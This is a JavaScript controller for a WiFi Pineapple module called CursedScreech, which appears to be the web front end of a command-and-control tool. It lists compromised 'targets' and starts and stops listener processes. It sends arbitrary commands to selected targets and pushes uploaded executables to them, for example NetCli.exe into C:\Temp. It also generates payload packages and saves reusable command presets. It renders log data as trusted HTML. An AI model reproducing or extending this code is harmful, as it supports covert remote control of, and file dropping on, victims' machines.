2017-11-16 16:42:22 +11:00

734 lines
19 KiB
JavaScript
Executable File

registerController('CursedScreechController', ['$api', '$scope', '$sce', '$interval', '$http', function($api, $scope, $sce, $interval, $http) {
// Location of payload directory
$scope.payloadDir = "/pineapple/modules/CursedScreech/includes/payloads/";
// Throbbers
$scope.showSettingsThrobber = false;
$scope.showSeinThrobber = false;
$scope.showKuroThrobber = false;
$scope.uploadLimitThrobber = false;
// Depends vars
$scope.dependsProcessing = false;
$scope.dependsInstalled = false;
// Settings vars
$scope.settings_ifaceName = '';
$scope.available_interfaces = '';
$scope.settings_mcastGroup = '';
$scope.settings_mcastPort = '';
$scope.settings_hb_interval = '';
$scope.settings_kuroKey = '';
$scope.settings_targetKey = '';
$scope.settings_auth = false;
// Proc statuses
$scope.seinStatus = 'Not Running';
$scope.seinButton = 'Start';
$scope.kuroStatus = 'Not Running';
$scope.kuroButton = 'Start';
$scope.seinIsRunning = false;
$scope.kuroIsRunning = false;
// Log vars
$scope.currentLogTitle = '';
$scope.currentLogData = '';
$scope.activityLogData = '';
$scope.targets = [];
$scope.allTargetLogs = [];
// Key vars
$scope.certificates = '';
$scope.keyErrorMessage = '';
$scope.selectKuroKey = false;
$scope.selectTargetKey = false;
// Target Commands
$scope.targetCommand = "";
$scope.ezcmds = [];
$scope.selectedCmd = "";
$scope.newCmdName = "";
$scope.newCmdCommand = "";
$scope.checkAllTargets = false;
// Panes
$scope.showTargetPane = true;
$scope.showPayloadPane = false;
// Payload Vars
$scope.payloads = [];
$scope.selectedFiles = [];
$scope.uploading = false;
$scope.selectedPayload = "";
$scope.showPayloadSelect = false;
// Interval vars
$scope.stop;
/* ============================================= */
/* BEGIN DEPENDS FUNCTIONS */
/* ============================================= */
$scope.depends = (function(task){
if (task == "install" || task == "remove") {
$scope.dependsProcessing = true;
}
$api.request({
module: 'CursedScreech',
action: 'depends',
task: task
},function(response) {
if (task == "install") {
$scope.dependsProcessing = false;
if (response.success === false) {
alert("Failed to install dependencies. Make sure you are connected to the internet.");
} else {
$scope.depends("check");
}
} else if (task == "remove") {
$scope.dependsProcessing = false;
$scope.depends("check");
} else if (task == "check") {
$scope.dependsInstalled = (response.success === true) ? true : false;
}
});
});
/* ============================================= */
/* BEGIN SETTINGS FUNCTIONS */
/* ============================================= */
$scope.loadSettings = (function(){
$api.request({
module: 'CursedScreech',
action: 'loadSettings'
},function(response){
if (response.success === true) {
var configs = response.data;
$scope.settings_ifaceName = configs.iface_name;
$scope.settings_mcastGroup = configs.mcast_group;
$scope.settings_mcastPort = configs.mcast_port;
$scope.settings_hb_interval = configs.hb_interval;
$scope.settings_kuroKey = configs.kuro_key;
$scope.settings_targetKey = configs.target_key;
$scope.settings_auth = (configs.auth == 1) ? true : false;
}
});
});
$scope.updateSettings = (function(){
$scope.showSettingsThrobber = true;
// Add the settings variables to a dictionary
data = {
'iface_name': $scope.settings_ifaceName,
'mcast_group': $scope.settings_mcastGroup,
'mcast_port': $scope.settings_mcastPort,
'hb_interval': $scope.settings_hb_interval,
'kuro_key': $scope.settings_kuroKey,
'target_key': $scope.settings_targetKey,
'auth': $scope.settings_auth
};
// Make the request to update the settings
$api.request({
module: 'CursedScreech',
action: 'updateSettings',
settings: data
},function(response) {
if (response.success === true) {
$scope.loadSettings();
}
$scope.showSettingsThrobber = false;
});
});
$scope.useDefault = (function(setting){
if (setting == "mcast_group") {
$scope.settings_mcastGroup = '231.253.78.29';
} else if (setting == "mcast_port") {
$scope.settings_mcastPort = '19578';
} else if (setting == "hb_interval") {
$scope.settings_hb_interval = "5";
} else if (setting == "auth") {
$scope.settings_auth = false;
}
});
$scope.loadAvailableInterfaces = (function(){
$api.request({
module: 'CursedScreech',
action: 'loadAvailableInterfaces'
},function(response){
if (response.success === true) {
$scope.available_interfaces = response.data;
} else {
alert("An error has occurred. Check the logs for details");
}
});
});
/* ============================================= */
/* BEGIN PROCESS FUNCTIONS */
/* ============================================= */
$scope.startProc = (function(name){
if (name == "sein.py") {
$scope.showSeinThrobber = true;
} else if (name == "kuro.py") {
$scope.showKuroThrobber = true;
}
$api.request({
module: 'CursedScreech',
action: 'startProc',
procName: name
},function(response) {
if (name == "sein.py") {
if (response.success === true){
$scope.seinIsRunning = true;
$scope.seinStatus = "Running - PID: " + response.data;
$scope.seinButton = "Stop";
}
$scope.showSeinThrobber = false;
} else if (name == "kuro.py") {
if (response.success === true) {
$scope.kuroIsRunning = true;
$scope.kuroStatus = "Running - PID: " + response.data;
$scope.kuroButton = "Stop";
}
$scope.showKuroThrobber = false;
}
});
});
$scope.procStatus = (function(name){
$api.request({
module: 'CursedScreech',
action: 'procStatus',
procName: name
},function(response){
//console.log(response);
if (response.success == true) {
if (name == "sein.py") {
$scope.seinIsRunning = true;
$scope.seinStatus = "Running - PID: " + response.data;
$scope.seinButton = "Stop";
} else if (name == "kuro.py") {
$scope.kuroIsRunning = true;
$scope.kuroStatus = "Running - PID: " + response.data;
$scope.kuroButton = "Stop";
}
} else {
if (name == "sein.py") {
$scope.seinIsRunning = false;
$scope.seinStatus = "Not Running";
$scope.seinButton = "Start";
} else if (name == "kuro.py") {
$scope.kuroIsRunning = false;
$scope.kuroStatus = "Not Running";
$scope.kuroButton = "Start";
}
}
});
});
$scope.stopProc = (function(name){
$api.request({
module: 'CursedScreech',
action: 'stopProc',
procName: name
},function(response) {
if (response.success === true){
if (name == "sein.py") {
$scope.seinIsRunning = false;
$scope.seinStatus = "Not Running";
$scope.seinButton = "Start";
} else if (name == "kuro.py") {
$scope.kuroIsRunning = false;
$scope.kuroStatus = "Not Running";
$scope.kuroButton = "Start";
}
}
});
});
/* ============================================= */
/* BEGIN PAYLOAD FUNCTIONS */
/* ============================================= */
$scope.genPayload = (function(type){
// Check if CursedScreech authorization should be used
// if so change the type to 'cs_auth'
if (type == "cs" && $scope.settings_auth == true) {
type = "cs_auth";
}
$api.request({
module: 'CursedScreech',
action: 'genPayload',
type: type
},function(response) {
if (response.success === true) {
window.location = '/api/?download=' + response.data;
} else {
console.log("Failed to archive payload files");
}
});
});
$scope.clearDownloads = (function(){
$api.request({
module: 'CursedScreech',
action: 'clearDownloads'
},function(response){
if (response.success === false){
console.log("Failed to clear API downloads directory.");
}
});
});
/* ============================================= */
/* BEGIN TARGET FUNCTIONS */
/* ============================================= */
$scope.sendCommand = (function(){
if ($scope.targetCommand == "") {
return;
}
var checkedTargets = []
for (var x=0; x < $scope.targets.length; x++){
if ($scope.targets[x].checked) {
checkedTargets.push($scope.targets[x].socket.split(":")[0]);
}
}
if (checkedTargets.length == 0) {
return;
}
// Check if a payload is to be sent and build its command string
var cmd = "";
if ($scope.showPayloadSelect) {
// ex: "sendfile;/pineapple/modules/CursedScreech/includes/payloads/NetCli.exe;C:\Temp\"
cmd = "sendfile;" + $scope.payloadDir + $scope.selectedPayload.fileName + ";" + $scope.targetCommand;
} else {
cmd = $scope.targetCommand;
}
$api.request({
module: 'CursedScreech',
action: 'sendCommand',
command: cmd,
targets: checkedTargets
},function(response){});
});
function getTargetIndex(sock){
var addr = sock.split(":")[0];
for (var x=0; x < $scope.targets.length; x++){
if ($scope.targets[x].socket.split(":")[0] == addr){
return x;
}
}
}
function itemExistsInList(item,list){
for (var x=0; x < list.length; x++){
if (list[x] == item) {
return x;
}
}
}
$scope.selectAllTargets = (function(){
if ($scope.checkAllTargets) {
// Set to false if currently true
$scope.checkAllTargets = false;
} else {
$scope.checkAllTargets = true;
}
for (var x=0; x < $scope.targets.length; x++){
if ($scope.checkAllTargets) {
$scope.targets[x].checked = true;
} else {
$scope.targets[x].checked = false;
}
}
});
$scope.loadTargets = (function(){
$api.request({
module: 'CursedScreech',
action: 'loadTargets'
},function(response){
if (response.success === true) {
var index;
// Load all targets from the Sein list into our local list
// if any currently exist then update their information
for (var x=0; x < response.data.length; x++) {
index = getTargetIndex(response.data[x])
if (index !== undefined) {
$scope.targets[index].socket = response.data[x];
} else {
$scope.targets.push({'socket': response.data[x], 'checked': false});
}
}
// Check the opposite - if the target exists in our local list but not in
// the list provided it must be deleted from our local list
for (var x=0; x < $scope.targets.length; x++){
if (itemExistsInList($scope.targets[x].socket, response.data) === undefined) {
// Remove item from scope.targets
index = getTargetIndex($scope.targets[x].socket);
$scope.targets.splice(index, 1);
}
}
} else {
console.log(response.message);
}
});
});
$scope.clearTargets = (function(){
$scope.clearLog('targets.log', 'forest');
$scope.targets = [];
});
$scope.deleteTarget = (function(name){
$api.request({
module: 'CursedScreech',
action: 'deleteTarget',
target: name
},function(response){
$scope.loadTargets();
});
});
/* ============================================= */
/* BEGIN EZCMDS FUNCTIONS */
/* ============================================= */
$scope.loadEZCmds = (function(){
$api.request({
module: 'CursedScreech',
action: 'loadEZCmds'
},function(response){
for (k in response.data) {
if (response.data[k] == null) {
delete(response.data[k]);
}
}
$scope.ezcmds = response.data;
});
});
$scope.saveEZCmds = (function(){
$api.request({
module: 'CursedScreech',
action: 'saveEZCmds',
ezcmds: $scope.ezcmds
},function(response){
if (response.success === true){
}
});
});
$scope.deleteEZCmd = (function(key){
if (!confirm("Delete " + key + "?")) {
return;
}
for (k in $scope.ezcmds) {
if (k == key) {
delete($scope.ezcmds[k]);
$scope.saveEZCmds();
}
}
});
$scope.addEZCmd = (function(){
if (!$scope.newCmdName || !$scope.newCmdCommand) {
return;
}
$scope.ezcmds[$scope.newCmdName] = $scope.newCmdCommand;
$scope.saveEZCmds();
$scope.newCmdName = $scope.newCmdCommand = "";
});
$scope.ezCommandChange = (function(){
if ($scope.selectedCmd === null) {
$scope.targetCommand = "";
$scope.showPayloadSelect = false;
return;
}
for (key in $scope.ezcmds) {
if ($scope.ezcmds[key] == $scope.selectedCmd) {
if (key == "Send File") {
$scope.showPayloadSelect = true;
} else {
$scope.showPayloadSelect = false;
}
}
}
$scope.targetCommand = $scope.selectedCmd;
});
/* ============================================= */
/* BEGIN KEY FUNCTIONS */
/* ============================================= */
$scope.loadCertificates = (function(type) {
if (type == "kuro") {
$scope.selectKuroKey = true;
$scope.selectTargetKey = false;
} else if (type == "target") {
$scope.selectTargetKey = true;
$scope.selectKuroKey = false;
}
$api.request({
module: 'CursedScreech',
action: 'loadCertificates'
},function(response){
if (response.success === true) {
// Display certificate information
$scope.keyErrorMessage = '';
$scope.certificates = response.data;
} else {
// Display error
$scope.keyErrorMessage = response.message;
}
});
});
$scope.selectKey = (function(key){
keyPath = "/pineapple/modules/Papers/includes/ssl/" + key;
if ($scope.selectKuroKey == true) {
$scope.settings_kuroKey = keyPath;
} else if ($scope.selectTargetKey == true) {
$scope.settings_targetKey = keyPath;
}
});
/* ============================================= */
/* BEGIN LOG FUNCTIONS */
/* ============================================= */
$scope.getLogs = (function(type){
/* valid types are error or changelog */
$api.request({
module: 'CursedScreech',
action: 'getLogs',
type: type
},function(response){
if (type == 'error') {
$scope.logs = response.data;
} else if (type == 'changelog') {
$scope.changelogs = response.data;
} else if (type == 'targets') {
$scope.allTargetLogs = response.data;
}
});
});
$scope.readLog = (function(log,type){
$api.request({
module: 'CursedScreech',
action: 'readLog',
logName: log,
type: type
},function(response){
if (response.success === true) {
if (log == 'activity.log') {
$scope.activityLogData = response.data;
} else {
$scope.currentLogTitle = log;
$scope.currentLogData = $sce.trustAsHtml(response.data);
}
}
});
});
$scope.downloadLog = (function(name,type){
$api.request({
module: 'CursedScreech',
action: 'downloadLog',
logName: name,
logType: type
},function(response){
if (response.success === true) {
window.location = '/api/?download=' + response.data;
}
});
});
$scope.clearLog = (function(log,type){
$api.request({
module: 'CursedScreech',
action: 'clearLog',
logName: log,
type: type
},function(response){
if (log == "activity.log") {
$scope.readLog("activity.log", "forest");
}
});
});
$scope.deleteLog = (function(log, type){
if (!confirm("Delete " + log + "?")) {
return;
}
$api.request({
module: 'CursedScreech',
action: 'deleteLog',
logName: log,
type: type
},function(response){
if (type == 'targets') {
$scope.getLogs('targets');
}
if (response.success === false) {
alert(response.message);
}
});
});
$scope.refreshLogs = (function(){
$scope.getLogs("error");
if ($scope.seinIsRunning) {
$scope.loadTargets();
}
if ($scope.kuroIsRunning) {
$scope.readLog("activity.log", "forest");
}
});
/* ============================================= */
/* BEGIN PAYLOAD FUNCTIONS */
/* ============================================= */
$scope.setSelectedFiles = (function(){
files = document.getElementById("selectedFiles").files;
for (var x = 0; x < files.length; x++) {
$scope.selectedFiles.push(files[x]);
}
});
$scope.removeSelectedFile = (function(file){
var x = $scope.selectedFiles.length;
while (x--) {
if ($scope.selectedFiles[x] === file) {
$scope.selectedFiles.splice(x,1);
}
}
});
$scope.uploadFile = (function(){
$scope.uploading = true;
var fd = new FormData();
for (x = 0; x < $scope.selectedFiles.length; x++) {
fd.append($scope.selectedFiles[x].name, $scope.selectedFiles[x]);
}
$http.post("/modules/CursedScreech/api/module.php", fd, {
transformRequest: angular.identity,
headers: {'Content-Type': undefined}
}).success(function(response) {
for (var key in response) {
if (response.hasOwnProperty(key)) {
if (response.key == "Failed") {
alert("Failed to upload " + key);
}
}
}
$scope.selectedFiles = [];
$scope.getPayloads();
$scope.uploading = false;
});
});
$scope.getPayloads = (function(){
$api.request({
module: 'CursedScreech',
action: 'getPayloads'
},function(response){
$scope.payloads = [];
for (var key in response.data) {
if (response.data.hasOwnProperty(key)) {
var obj = {fileName: key, filePath: response.data[key]};
$scope.payloads.push(obj);
}
}
});
});
$scope.deletePayload = (function(payload){
var res = confirm("Press OK to confirm deletion of " + payload.fileName + ".");
if (!res) {return;}
$api.request({
module: 'CursedScreech',
action: 'deletePayload',
filePath: payload.filePath + payload.fileName
},function(response){
$scope.getPayloads();
});
});
$scope.configUploadLimit = (function(){
$scope.uploadLimitThrobber = true;
$api.request({
module: 'CursedScreech',
action: 'cfgUploadLimit'
},function(response){
if (response.success === true) {
alert("Upload limit configured successfully.");
} else {
alert("Failed to configure upload limit.");
}
$scope.uploadLimitThrobber = false;
});
});
/* ============================================= */
/* MISC FUNCTIONS */
/* ============================================= */
$scope.swapPane = (function(pane) {
if (pane) { return; }
$scope.showTargetPane = !$scope.showTargetPane;
$scope.showPayloadPane = !$scope.showPayloadPane;
});
/* ============================================= */
/* INITIALIZERS */
/* ============================================= */
// Not sure if this is ever reached
$scope.$on('$destroy', function(){
$interval.cancel($scope.stop);
$scope.stop = undefined;
});
$scope.loadAvailableInterfaces();
$scope.loadSettings();
$scope.loadEZCmds();
$scope.getPayloads();
$scope.getLogs('changelog');
$scope.depends('check');
$scope.clearDownloads();
$scope.procStatus('sein.py');
$scope.procStatus('kuro.py');
$scope.stop = $interval(function(){
$scope.refreshLogs();
if ($scope.seinIsRunning) {
$scope.procStatus('sein.py');
}
if ($scope.kuroIsRunning) {
$scope.procStatus('kuro.py');
}
}, 2000);
}])